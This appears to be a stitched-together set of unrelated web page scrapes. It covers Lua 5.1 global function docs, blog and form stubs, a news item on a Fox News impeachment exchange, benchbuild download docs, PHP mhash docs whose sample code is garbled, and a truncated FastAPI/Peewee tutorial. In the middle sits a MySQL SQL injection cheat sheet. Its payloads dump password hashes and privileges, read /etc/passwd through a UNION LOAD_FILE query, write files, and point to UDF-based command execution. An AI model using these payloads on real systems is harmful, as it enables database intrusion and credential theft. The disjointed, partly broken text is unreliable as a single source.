Module global
Lua global variables.
The basic library provides some core functions to Lua. All the preloaded module of Lua are declared here.
Global(s)
| _G |
A global variable (not a function) that holds the global environment
(that is, |
| _VERSION |
A global variable (not a function) that holds a string containing the current interpreter version. |
| assert(v, message) |
Issues an error when the value of its argument |
| collectgarbage(opt, arg) |
This function is a generic interface to the garbage collector. |
| debug |
The Debug Library. |
| dofile(filename) |
Opens the named file and executes its contents as a Lua chunk. |
| error(message, level) |
Terminates the last protected function called and returns |
| getfenv(f) |
Returns the current environment in use by the function. |
| getmetatable(object) |
If |
| ipairs(t) |
Use to iterate over a table by index. |
| load(func, chunkname) |
Loads a chunk using function |
| loadfile(filename) |
Similar to |
| loadstring(string, chunkname) |
Similar to |
| math |
This library is an interface to the standard C math library. |
| next(table, index) |
Allows a program to traverse all fields of a table. |
| os |
Operating System Facilities. |
| pairs(t) |
Use to iterate over a table. |
| pcall(f, ...) |
Calls function |
| print(...) |
Receives any number of arguments, and prints their values to |
| rawequal(v1, v2) |
Checks whether |
| rawget(table, index) |
Gets the real value of |
| rawset(table, index, value) |
Sets the real value of |
| require(modname) |
Loads the given module. |
| select(index, ...) |
If |
| setfenv(f, table) |
Sets the environment to be used by the given function. |
| setmetatable(table, metatable) |
Sets the metatable for the given table. |
| string |
This library provides generic functions for string manipulation. |
| table |
This library provides generic functions for table manipulation. |
| tonumber(e, base) |
Tries to convert its argument to a number. |
| tostring(e) |
Receives an argument of any type and converts it to a string in a reasonable format. |
| unpack(list, i, j) |
Returns the elements from the given table. |
| xpcall(f, err) |
This function is similar to |
Global(s)
- #table _G
-
A global variable (not a function) that holds the global environment (that is,
_G._G = _G
).Lua itself does not use this variable; changing its value does not affect any environment, nor vice-versa. (Use
setfenv
to change environments.)
- #string _VERSION
-
A global variable (not a function) that holds a string containing the current interpreter version.
The current contents of this variable is "
Lua 5.1
".
- assert(v, message)
-
Issues an error when the value of its argument
v
is false (i.e., nil or false); otherwise, returns all its arguments.message
is an error message; when absent, it defaults to "assertion failed!".Parameters
-
v
: if this argument is false an error is issued. -
#string message
: an error message. defaults value is "assertion failed".
Return value
All its arguments.
-
- collectgarbage(opt, arg)
-
This function is a generic interface to the garbage collector.
It performs different functions according to its first argument,
opt
:- "stop": stops the garbage collector.
- "restart": restarts the garbage collector.
- "collect": performs a full garbage-collection cycle.
- "count": returns the total memory in use by Lua (in Kbytes).
- "step": performs a garbage-collection step. The step "size" is controlled
by
arg
(larger values mean more steps) in a non-specified way. If you want to control the step size you must experimentally tune the value ofarg
. Returns true if the step finished a collection cycle. - "setpause": sets
arg
as the new value for the pause of the collector. Returns the previous value for pause. - "setstepmul": sets
arg
as the new value for the step multiplier of the collector. Returns the previous value for step.
Parameters
-
#string opt
: the command to send. -
arg
: the argument of the command. (optional)
- coroutine#coroutine coroutine
-
This library provides generic functions for coroutine manipulation.
This is a global variable which hold the preloaded coroutine module.
- debug#debug debug
-
The Debug Library.
This is a global variable which hold the preloaded debug module.
- dofile(filename)
-
Opens the named file and executes its contents as a Lua chunk.
When called without arguments,
dofile
executes the contents of the standard input (stdin
). Returns all values returned by the chunk. In case of errors,dofile
propagates the error to its caller (that is,dofile
does not run in protected mode).Parameter
-
#string filename
: the path to the file. (optional)
-
- error(message, level)
-
Terminates the last protected function called and returns
message
as the error message.Function
error
never returns.Usually,
error
adds some information about the error position at the beginning of the message. Thelevel
argument specifies how to get the error position.
With level 1 (the default), the error position is where theerror
function was called.
Level 2 points the error to where the function that callederror
was called; and so on.
Passing a level 0 avoids the addition of error position information to the message.Parameters
-
#string message
: an error message. -
#number level
: specifies how to get the error position, default value is1
.
-
- getfenv(f)
-
Returns the current environment in use by the function.
Parameter
-
f
: can be a Lua function or a number that specifies the function at that stack level: Level 1 is the function callinggetfenv
. If the given function is not a Lua function, or iff
is0
,getfenv
returns the global environment. The default forf
is1
.
-
- getmetatable(object)
-
If
object
does not have a metatable, returns nil.Otherwise, if the object's metatable has a
"__metatable"
field, returns the associated value. Otherwise, returns the metatable of the given object.Parameter
-
object
:
Return value
#table: the metatable of object.
-
- io#io io
-
The I/O library provides function for file manipulation.
This is a global variable which hold the preloaded io module.
- ipairs(t)
-
Use to iterate over a table by index.
Returns three values: an iterator function, the table
t
, and 0, so that the construction :for i,v in ipairs(t) do *body* end
will iterate over the pairs (
1,t[1]
), (2,t[2]
), ..., up to the first integer key absent from the table.Parameter
-
#table t
: a table by index.
-
- load(func, chunkname)
-
Loads a chunk using function
func
to get its pieces.Each call to
func
must return a string that concatenates with previous results. A return of an empty string, nil, or no value signals the end of the chunk.If there are no errors, returns the compiled chunk as a function; otherwise, returns nil plus the error message. The environment of the returned function is the global environment.
chunkname
is used as the chunk name for error messages and debug information. When absent, it defaults to "=(load)
".Parameters
-
func
: function which loads the chunk. -
#string chunkname
: chunk name used for error messages and debug information, default value is "=(load)
".
-
- loadfile(filename)
-
Similar to
load
, but gets the chunk from filefilename
or from the standard input, if no file name is given.Parameter
-
#string filename
: the path to the file. (optional)
-
- loadstring(string, chunkname)
-
Similar to
load
, but gets the chunk from the given string.To load and run a given string, use the idiom
assert(loadstring(s))()
When absent,
chunkname
defaults to the given string.Parameters
-
#string string
: lua code to load. -
#string chunkname
: chunk name used for error messages and debug information, default value is the given string.
-
- math#math math
-
This library is an interface to the standard C math library.
This is a global variable which hold the preloaded math module.
- next(table, index)
-
Allows a program to traverse all fields of a table.
Its first argument is a table and its second argument is an index in this table.
next
returns the next index of the table and its associated value.When called with nil as its second argument,
next
returns an initial index and its associated value. When called with the last index, or with nil in an empty table,next
returns nil.If the second argument is absent, then it is interpreted as nil. In particular, you can use
next(t)
to check whether a table is empty. The order in which the indices are enumerated is not specified, even for numeric indices. (To traverse a table in numeric order, use a numerical for or theipairs
function.)The behavior of
next
is undefined if, during the traversal, you assign any value to a non-existent field in the table. You may however modify existing fields. In particular, you may clear existing fields.Parameters
-
#table table
: table to traverse. -
index
: initial index.
-
- package#package package
-
The package library provides basic facilities for loading and building modules in Lua.
This is a global variable which hold the preloaded package module.
- pairs(t)
-
Use to iterate over a table.
Returns three values: the
next
function, the tablet
, and nil, so that the construction :for k,v in pairs(t) do *body* end
will iterate over all key-value pairs of table
t
.See function
next
for the caveats of modifying the table during its traversal.Parameter
-
#table t
: table to traverse.
-
- pcall(f, ...)
-
Calls function
f
with the given arguments in protected mode.This means that any error inside
f
is not propagated; instead,pcall
catches the error and returns a status code. Its first result is the status code (a boolean), which is true if the call succeeds without errors. In such case,pcall
also returns all results from the call, after this first result. In case of any error,pcall
returns false plus the error message.Parameters
-
f
: function to be call in protected mode. -
...
: function arguments.
Return values
-
#boolean: true plus the result of
f
function if its call succeeds without errors. -
#boolean, #string: false plus the error message in case of any error.
-
- print(...)
-
Receives any number of arguments, and prints their values to
stdout
, using thetostring
function to convert them to strings.print
is not intended for formatted output, but only as a quick way to show a value, typically for debugging. For formatted output, usestring.format
.Parameter
-
...
: values to print tostdout
.
-
- rawequal(v1, v2)
-
Checks whether
v1
is equal tov2
, without invoking any metamethod.Returns a boolean.
Parameters
-
v1
: -
v2
:
Return value
#boolean: true if
v1
is equal tov2
. -
- rawget(table, index)
-
Gets the real value of
table[index]
, without invoking any metamethod.table
must be a table;index
may be any value.Parameters
-
#table table
: -
index
: may be any value.
Return value
The real value of
table[index]
, without invoking any metamethod. -
- rawset(table, index, value)
-
Sets the real value of
table[index]
tovalue
, without invoking any metamethod.table
must be a table,index
any value different from nil, andvalue
any Lua value.
This function returnstable
.Parameters
-
#table table
: -
index
: any value different from nil. -
value
: any Lua value.
-
- require(modname)
-
Loads the given module.
The function starts by looking into the
package.loaded
table to determine whethermodname
is already loaded. If it is, thenrequire
returns the value stored atpackage.loaded[modname]
. Otherwise, it tries to find a loader for the module.To find a loader,
require
is guided by thepackage.loaders
array. By changing this array, we can change howrequire
looks for a module. The following explanation is based on the default configuration forpackage.loaders
.First
require
queriespackage.preload[modname]
. If it has a value, this value (which should be a function) is the loader. Otherwiserequire
searches for a Lua loader using the path stored inpackage.path
. If that also fails, it searches for a C loader using the path stored inpackage.cpath
. If that also fails, it tries an all-in-one loader (seepackage.loaders
).Once a loader is found,
require
calls the loader with a single argument,modname
. If the loader returns any value,require
assigns the returned value topackage.loaded[modname]
. If the loader returns no value and has not assigned any value topackage.loaded[modname]
, thenrequire
assigns true to this entry. In any case,require
returns the final value ofpackage.loaded[modname]
.If there is any error loading or running the module, or if it cannot find any loader for the module, then
require
signals an error.Parameter
-
#string modname
: name of module to load.
-
- select(index, ...)
-
If
index
is a number, returns all arguments after argument numberindex
.Otherwise,
index
must be the string"#"
, andselect
returns the total number of extra arguments it received.Parameters
-
index
: a number or the string"#"
-
...
:
-
- setfenv(f, table)
-
Sets the environment to be used by the given function.
f
can be a Lua function or a number that specifies the function at that stack level: Level 1 is the function callingsetfenv
.setfenv
returns the given function.
As a special case, whenf
is 0setfenv
changes the environment of the running thread. In this case,setfenv
returns no values.Parameters
-
f
: a Lua function or a number that specifies the stack level. -
#table table
: used as environment forf
.
Return value
The given function.
-
- setmetatable(table, metatable)
-
Sets the metatable for the given table.
(You cannot change the metatable of other types from Lua, only from C.) If
metatable
is nil, removes the metatable of the given table. If the original metatable has a"__metatable"
field, raises an error.
This function returnstable
.Parameters
-
#table table
: -
#table metatable
:
Return value
The first argument
table
. -
- string#string string
-
This library provides generic functions for string manipulation.
This is a global variable which hold the preloaded string module.
- table#table table
-
This library provides generic functions for table manipulation.
This is a global variable which hold the preloaded table module.
- tonumber(e, base)
-
Tries to convert its argument to a number.
If the argument is already a number or a string convertible to a number, then
tonumber
returns this number; otherwise, it returns nil.An optional argument specifies the base to interpret the numeral. The base may be any integer between 2 and 36, inclusive. In bases above 10, the letter '
A
' (in either upper or lower case) represents 10, 'B
' represents 11, and so forth, with 'Z
' representing 35. In base 10 (the default), the number can have a decimal part, as well as an optional exponent part. In other bases, only unsigned integers are accepted.Parameters
-
e
: a number or string to convert to a number. -
#number base
: the base to interpret the numeral, any integer between 2 and 36.(default is 10).
Return value
#number: a number if conversion succeeds else nil.
-
- tostring(e)
-
Receives an argument of any type and converts it to a string in a reasonable format.
For complete control of how numbers are converted, use
string.format
.If the metatable of
e
has a"__tostring"
field, thentostring
calls the corresponding value withe
as argument, and uses the result of the call as its result.Parameter
-
e
: an argument of any type.
Return value
#string: a string in a reasonable format.
-
- unpack(list, i, j)
-
Returns the elements from the given table.
This function is equivalent to
return list[i], list[i+1], ..., list[j]
except that the above code can be written only for a fixed number of elements. By default,
i
is 1 andj
is the length of the list, as defined by the length operator.Parameters
-
#table list
: a table by index -
i
: index of first value. -
j
: index of last value.
-
- xpcall(f, err)
-
This function is similar to
pcall
, except that you can set a new error handler.xpcall
calls functionf
in protected mode, usingerr
as the error handler. Any error insidef
is not propagated; instead,xpcall
catches the error, calls theerr
function with the original error object, and returns a status code. Its first result is the status code (a boolean), which is true if the call succeeds without errors. In this case,xpcall
also returns all results from the call, after this first result. In case of any error,xpcall
returns false plus the result fromerr
.Parameters
-
f
: function to be call in protected mode. -
err
: function used as error handler.
Return values
-
#boolean: true plus the result of
f
function if its call succeeds without errors. -
#boolean, #string: false plus the result of
err
function.
-


hello
Home
About
Archive
Open Sidebar
Close Sidebar
TeleSwipe V.0.1
Blogging here about Code & Technology.
teleswipe.co
Start with Teleswipe Sketches
by
teleswipe
on
Jan 19, 2019
Read More
Start with Teleswipe
by
teleswipe
on
Jan 15, 2019
Read More
shell.sh
by
teleswipe
on
Jul 26, 2017
Read More


--- layout: about title: "" permalink: /about/ ---
The world is somehow a better place with a robot image registry. I was supposed to be working on something else, but then this happened.
Do you want to help make it better? The robots would greatly appreciate it!
Where can you find them in the wild? They have been seen around Singularity Registry and Singularity Hub. There are over 15K of them, so good luck with that Robot Roll Call.


Chris Wallace Tells Scalise He Mischaracterized Impeachment Testimonies ‘Very Badly’
Fox News host Chris Wallace shut down House Minority Whip Steve Scalise (R-LA) on Sunday when the Republican leader tried to downplay the public testimonies held last week that detailed President Donald Trump’s Ukraine scheme.
Scalise argued on “Fox News Sunday” that the testimonies of diplomats Bill Taylor, George Kent, and Marie Yovanovitch did not prove Trump had not committed an impeachable offense when he withheld military aid to Ukraine in order to push the Ukrainian government to investigate Joe Biden.
“All three of them were asked by–whether it was John Ratcliffe or whether it was Chris Stewart–all three of them were asked: Did you see any impeachable offenses? Did you see any bribery? Any of that? Not one of those things were mentioned,” Scalise said. “Not one person said they saw a crime committed.”
“Sir, with all due respect, that very badly mischaracterizes what they said,” Wallace responded.
“They were asked–William Taylor, for instance, the acting Ambassador to Ukraine, was asked whether or not these were impeachable offenses. He said ‘I’m there as a fact witness, I’m not there to pass judgment,’” the Fox host continued. “But he made it clear what he thought about what the President was doing.”
Wallace proceeded to play a clip of Taylor’s testimony in which the diplomat described Trump’s scheme as “illogical” and “crazy.”
Watch Scalise and Wallace below:


WELCOME TO GEEM FAMILY
1. Enter your details
2.  Enter your details


{% extends 'base.html' %} {% block body %}
For Some Reason The Page You Requested Could Not Be Found On Our Server


benchbuild.utils.download module¶
# Downloading helper functions for benchbuild.
The helpers defined in this module provide access to some common Downloading methods for the source code of benchbuild projects. All downloads will be cached in BB_TMP_DIR and locked down with a hash that is generated after the first download. If the hash matches the file/folder found in BB_TMP_DIR, nothing will be downloaded at all.
- Supported methods:
- Copy, CopyNoFail, Wget, Git, Svn, Rsync
-
benchbuild.utils.download.
Copy
(From, To)[source]¶ Small copy wrapper.
Parameters: - From (str) – Path to the SOURCE.
- To (str) – Path to the TARGET.
-
benchbuild.utils.download.
CopyNoFail
(src, root=None)[source]¶ Just copy fName into the current working directory, if it exists.
No action is executed, if fName does not exist. No Hash is checked.
Parameters: - src – The filename we want to copy to ‘.’.
- root – The optional source dir we should pull fName from. Defaults to benchbuild.settings.CFG[“tmpdir”].
Returns: True, if we copied something.
-
benchbuild.utils.download.
Git
(repository, directory, rev=None, prefix=None, shallow_clone=True)[source]¶ Get a clone of the given repo
Parameters: - repository (str) – Git URL of the SOURCE repo.
- directory (str) – Name of the repo folder on disk.
- tgt_root (str) – TARGET folder for the git repo.
Defaults to
CFG["tmpdir"]
- shallow_clone (bool) – Only clone the repository shallow Defaults to true
-
benchbuild.utils.download.
Rsync
(url, tgt_name, tgt_root=None)[source]¶ RSync a folder.
Parameters: - url (str) – The url of the SOURCE location.
- fname (str) – The name of the TARGET.
- to (str) – Path of the target location.
Defaults to
CFG["tmpdir"]
.
-
benchbuild.utils.download.
Svn
(url, fname, to=None)[source]¶ Checkout the SVN repo.
Parameters: - url (str) – The SVN SOURCE repo.
- fname (str) – The name of the repo on disk.
- to (str) – The name of the TARGET folder on disk.
Defaults to
CFG["tmpdir"]
-
benchbuild.utils.download.
Wget
(src_url, tgt_name, tgt_root=None)[source]¶ Download url, if required.
Parameters: - src_url (str) – Our SOURCE url.
- tgt_name (str) – The filename we want to have on disk.
- tgt_root (str) – The TARGET directory for the download.
Defaults to
CFG["tmpdir"]
.
-
benchbuild.utils.download.
get_hash_of_dirs
(directory)[source]¶ Recursively hash the contents of the given directory.
Parameters: directory (str) – The root directory we want to hash. Returns: A hash of all the contents in the directory.
-
benchbuild.utils.download.
source_required
(src_file)[source]¶ Check, if a download is required.
Parameters: - src_file – The filename to check for.
- src_root – The path we find the file in.
Returns: True, if we need to download something, False otherwise.
-
benchbuild.utils.download.
update_hash
(src_file)[source]¶ Update the hash for the given file.
Parameters: - src – The file name.
- root – The path of the given file.
-
benchbuild.utils.download.
with_git
(repo, target_dir=None, limit=None, refspec='HEAD', clone=True, rev_list_args=None)[source]¶ Decorate a project class with git-based version information.
- This adds two attributes to a project class:
- A versions method that returns a list of available versions for this project.
- A repository attribute that provides a repository string to download from later.
We use the git rev-list subcommand to list available versions.
Parameters: - repo (str) – Repository to download from, this will be stored in the repository attribute of the decorated class.
- target_dir (str) – An optional path where we should put the clone. If unspecified, we will use the SRC_FILE attribute of the decorated class.
- limit (int) – Limit the number of commits to consider for available versions. Versions are ‘ordered’ from latest to oldest.
- refspec (str) – A git refspec string to start listing the versions from.
- clone (bool) – Should we clone the repo if it isn’t already available in our tmp dir? Defaults to True. You can set this to False to avoid time consuming clones, when the project has not been accessed at least once in your installation.
- ref_list_args (list of str) – Additional arguments you want to pass to git rev-list.
-
benchbuild.utils.download.
with_wget
(url_dict=None, target_file=None)[source]¶ Decorate a project class with wget-based version information.
- This adds two attributes to a project class:
- A versions method that returns a list of available versions for this project.
- A repository attribute that provides a repository string to download from later.
We use the git rev-list subcommand to list available versions.
Parameters: - url_dict (dict) – A dictionary that assigns a version to a download URL.
- target_file (str) – An optional path where we should put the clone. If unspecified, we will use the SRC_FILE attribute of the decorated class.


Some can only be run by admin, marked by * or -priv
Version SELECT @@version
Comments SELECT 1; #comment- SELECT /*comment*/1;
- /*! MYSQL Special SQL */ (M)
- This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
Current User SELECT user();
AND user() LIKE 'root
AND MID((user()),1,1)>'m #etc etc brute
List Users* SELECT user FROM mysql.user; — priv
List Password Hashes* SELECT host, user, password FROM mysql.user; — priv
List Privileges* SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs- SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = - ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0- SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ - AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema !
List Table/Column Names PROCEDURE ANALYSE() #Source, should get the current table and column names- LIMIT (1 . . n),1 PROCEDURE ANALYSE() #Using LIMIT to get additional column names
Find Tables From
Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table - which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2- SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);- SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB- SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’)); #BENCHMARK(howmanytimes, do this)- SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests load_file()?
/ Out of band
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.- SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address SELECT @@hostname;
Create Users* CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users * DROP USER test1; — priv
Make User DBA* GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files SELECT @@datadir;
Default/System
Databases information_schema (>= mysql 5.0)
Potentially Useful Functions
MySQL Functions MD5() MD5 Hashing
SHA1() SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS() Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION() Same as @@version
MID() #MID extracts substring from string MID(string, start, length)


Core Columns
one-half
one-half
one-third
two-third
two-third
one-third
one-fourth
three-fourth
two-fourth
two-fourth
three-fourth
one-fourth
one-fifth
four-fifth
two-fifth
three-fifth
three-fifth
two-fifth
four-fifth
one-fifth
one-sixth
five-sixth
two-sixth
four-sixth
three-sixth
three-sixth
four-sixth
two-sixth
five-sixth
one-sixth
one-seventh
six-seventh
two-seventh
five-seventh
three-seventh
four-seventh
four-seventh
three-seventh
five-seventh
two-seventh
six-seventh
one-seventh
nested columns
one-half
one-half
nested columns
one-fourth
one-fourth
one-fourth
one-fourth


mhash_count
(PHP 4, PHP 5, PHP 7)
mhash_count — Gets the highest available hash ID
说明
int mhash_count ( void )
Gets the highest available hash ID.
返回值
Returns the highest available hash ID. Hashes are numbered from 0 to this hash
ID.
范例
Example #1 Traversing all hashes
User Contributed Notes 1 note
===============================================================================
The MHash function mhash_count() returns the highest, evaluated, constant value
representing a hashing algorithm available within the current MHash install.
For example, 0 indicates CRC32, 1 indicates MD5, 2 indicates SHA1, etc., etc..
You can get the evaluated number for any of these algorithms by doing a print
statement with any of the predefined, MHash constants, such as those available
here : http://www.php.net/manual/en/mhash.constants.php .
The purpose of mhash_count() in MHash is similar to the purpose of hash_algos()
in HASH Message Digest Framework. Instead of providing an array of available
hashing algorithms, it simply provides the highest, evaluated, constant
expression for the Algorithm Constants. The thinking, as indicated in the
sample code, is that you will parse a list of mhash algorithms in a for loop
using a condition of "$i <= mhash_count()".
However, there is a problem with that: there are several integers that are
skipped in the listing of evaluated constant expressions. While 2 indicates
SHA1, 3 indicates HAVAL256, etc., there is nothing for the numbers 4 and 6.
They produce blank results when on that line of the for-loop and you're calling
functions like mhash_get_block_size() and mhash_get_hash_name(). These were
likely reserved for algorithms that were removed for one reason or another,
either inefficiency or lack of security, and the number-to-predefined-constant
setup wasn't changed to make it backward compatible with older code.
If you want to know what counts as a good constant and what doesn't, try
running this code :
");
}
else
{
// There *IS NO* Available Algorithm Data
// ---------------------------------------------------
print("# $i --- $mhash_algorithm_name to
$mhash_algorithm_block_size .
");
}
}
?>
Sample Results
............................
# 0 --- CRC32 to 4 .
# 1 --- MD5 to 16 .
# 2 --- SHA1 to 20 .
# 3 --- HAVAL256 to 32 .
# 4 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .
# 5 --- RIPEMD160 to 20 .
# 6 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .
# 7 --- TIGER to 24 .
# 8 --- GOST to 32 .
...(and so on)...


SQL (Relational) Databases with Peewee
Warning
If you are just starting, the tutorial SQL (Relational) Databases that uses SQLAlchemy should be enough.
Feel free to skip this.
If you are starting a project from scratch, you are probably better off with SQLAlchemy ORM (SQL (Relational) Databases), or any other async ORM.
If you already have a code base that uses Peewee ORM, you can check here how to use it with FastAPI.
Python 3.7+ required
You will need Python 3.7 or above to safely use Peewee with FastAPI.
Peewee for async¶
Peewee was not designed for async frameworks, or with them in mind.
Peewee has some heavy assumptions about its defaults and about how it should be used.
If you are developing an application with an older non-async framework, and can work with all its defaults, it can be a great tool.
But if you need to change some of the defaults, support more than one predefined database, work with an async framework (like FastAPI), etc, you will need to add quite some complex extra code to override those defaults.
Nevertheless, it's possible to do it, and here you'll see exactly what code you have to add to be able to use Peewee with FastAPI.
Technical Details
You can read more about Peewee's stand about async in Python in the docs, an issue, a PR.
The same app¶
We are going to create the same application as in the SQLAlchemy tutorial (SQL (Relational) Databases).
Most of the code is actually the same.
So, we are going to focus only on the differences.
File structure¶
Let's say you have a directory named my_super_project
that contains a sub-directory called sql_app
with a structure like this:
.
└── sql_app
├── __init__.py
├── crud.py
├── database.py
├── main.py
└── schemas.py
This is almost the same structure as we had for the SQLAlchemy tutorial.
Now let's see what each file/module does.
Create the Peewee parts¶
Let's refer to the file sql_app/database.py
.
The standard Peewee code¶
Let's first check all the normal Peewee code, create a Peewee database:
from contextvars import ContextVar
import peewee
DATABASE_NAME = "test.db"
db_state_default = {"closed": None, "conn": None, "ctx": None, "transactions": None}
db_state = ContextVar("db_state", default=db_state_default.copy())
class PeeweeConnectionState(peewee._ConnectionState):
def __init__(self, **kwargs):
super().__setattr__("_state", db_state)
super().__init__(**kwargs)
def __setattr__(self, name, value):
self._state.get()[name] = value
def __getattr__(self, name):
return self._state.get()[name]
db = peewee.SqliteDatabase(DATABASE_NAME, check_same_thread=False)
db._state = PeeweeConnectionState()
Tip
Have in mind that if you wanted to use a different database, like PostgreSQL, you couldn't just change the string. You would need to use a different Peewee database class.
Note¶
The argument:
check_same_thread=False
is equivalent to the one in the SQLAlchemy tutorial:
connect_args={"check_same_thread": False}
...it is needed only for SQLite
.
Technical Details
Exactly the same technical details as in SQL (Relational) Databases apply.
Make Peewee async-compatible PeeweeConnectionState
¶
The main issue with Peewee and FastAPI is that Peewee relies heavily on Python's threading.local
, and it doesn't have a direct way to override it or let you handle connections/sessions directly (as is done in the SQLAlchemy tutorial).
And threading.local
is not compatible with the new async features of modern Python.
Technical Details
threading.local
is used to have a "magic" variable that has a different value for each thread.
This was useful in older frameworks designed to have one single thread per request, no more, no less.
Using this, each request would have its own database connection/session, which is the actual final goal.
But FastAPI, using the new async features, could handle more than one request on the same thread. And at the same time, for a single request, it could run multiple things in different threads (in a threadpool), depending on if you use async def
or normal def
. This is what gives all the performance improvements to FastAPI.
But Python 3.7 and above provide a more advanced alternative to threading.local
, that can also be used in the places where threading.local
would be used, but is compatible with the new async features.
We are going to use that. It's called contextvars
.
We are going to override the internal parts of Peewee that use threading.local
and replace them with contextvars
, with the corresponding updates.
This might seem a bit complex (and it actually is), you don't really need to completely understand how it works to use it.
We will create a PeeweeConnectionState
:
from contextvars import ContextVar
import peewee
DATABASE_NAME = "test.db"
db_state_default = {"closed": None, "conn": None, "ctx": None, "transactions": None}
db_state = ContextVar("db_state", default=db_state_default.copy())
class PeeweeConnectionState(peewee._ConnectionState):
def __init__(self, **kwargs):
super().__setattr__("_state", db_state)
super().__init__(**kwargs)
def __setattr__(self, name, value):
self._state.get()[name] = value
def __getattr__(self, name):
return self._state.get()[name]
db = peewee.SqliteDatabase(DATABASE_NAME, check_same_thread=False)
db._state = PeeweeConnectionState()
This class inherits from a special internal class used by Peewee.
It has all the logic to make Peewee use contextvars
instead of threading.local
.
contextvars
works a bit differently than threading.local
. But the rest of Peewee's internal code assumes that this class works with threading.local
.
So, we need to do some extra tricks to make it work as if it was just using threading.local
. The __init__
, __setattr__
, and __getattr__
implement all the required tricks for this to be used by Peewee without knowing that it is now compatible with FastAPI.
Tip
This will just make Peewee behave correctly when used with FastAPI. Not randomly opening or closing connections that are being used, creating errors, etc.
But it doesn't give Peewee async super-powers. You should still use normal def
functions and not async def
.
Use the custom PeeweeConnectionState
class¶
Now, overwrite the ._state
internal attribute in the Peewee database db
object using the new PeeweeConnectionState
:
from contextvars import ContextVar
import peewee
DATABASE_NAME = "test.db"
db_state_default = {"closed": None, "conn": None, "ctx": None, "transactions": None}
db_state = ContextVar("db_state", default=db_state_default.copy())
class PeeweeConnectionState(peewee._ConnectionState):
def __init__(self, **kwargs):
super().__setattr__("_state", db_state)
super().__init__(**kwargs)
def __setattr__(self, name, value):
self._state.get()[name] = value
def __getattr__(self, name):
return self._state.get()[name]
db = peewee.SqliteDatabase(DATABASE_NAME, check_same_thread=False)
db._state = PeeweeConnectionState()
Tip
Make sure you overwrite db._state
after creating db
.
Tip
You would do the same for any other Peewee database, including PostgresqlDatabase
, MySQLDatabase
, etc.
Create the database models¶
Let's now see the file sql_app/models.py
.
Create Peewee models for our data¶
Now create the Peewee models (classes) for User
and Item
.
This is the same you would do if you followed the Peewee tutorial and updated the models to have the same data as in the SQLAlchemy tutorial.
Tip
Peewee also uses the term "model" to refer to these classes and instances that interact with the database.
But Pydantic also uses the term "model" to refer to something different, the data validation, conversion, and documentation classes and instances.
Import db
from database
(the file database.py
from above) and use it here.
import peewee
from .database import db
class User(peewee.Model):
email = peewee.CharField(unique=True, index=True)
hashed_password = peewee.CharField()
is_active = peewee.BooleanField(default=True)
class Meta:
database = db
class Item(peewee.Model):
title = peewee.CharField(index=True)
description = peewee.CharField(index=True)
owner = peewee.ForeignKeyField(User, backref="items")
class Meta:
database = db
Tip
Peewee creates several magic attributes.
It will automatically add an id
attribute as an integer to be the primary key.
It will chose the name of the tables based on the class names.
For the Item
, it will create an attribute owner_id
with the integer ID of the User
. But we don't declare it anywhere.
Create the Pydantic models¶
Now let's check the file sql_app/schemas.py
.
Tip
To avoid confusion between the Peewee models and the Pydantic models, we will have the file models.py
with the Peewee models, and the file schemas.py
with the Pydantic models.
These Pydantic models define more or less a "schema" (a valid data shape).
So this will help us avoiding confusion while using both.
Create the Pydantic models / schemas¶
Create all the same Pydantic models as in the SQLAlchemy tutorial:
from typing import Any, List
import peewee
from pydantic import BaseModel
from pydantic.utils import GetterDict
class PeeweeGetterDict(GetterDict):
def get(self, key: Any, default: Any = None):
res = getattr(self._obj, key, default)
if isinstance(res, peewee.ModelSelect):
return list(res)
return res
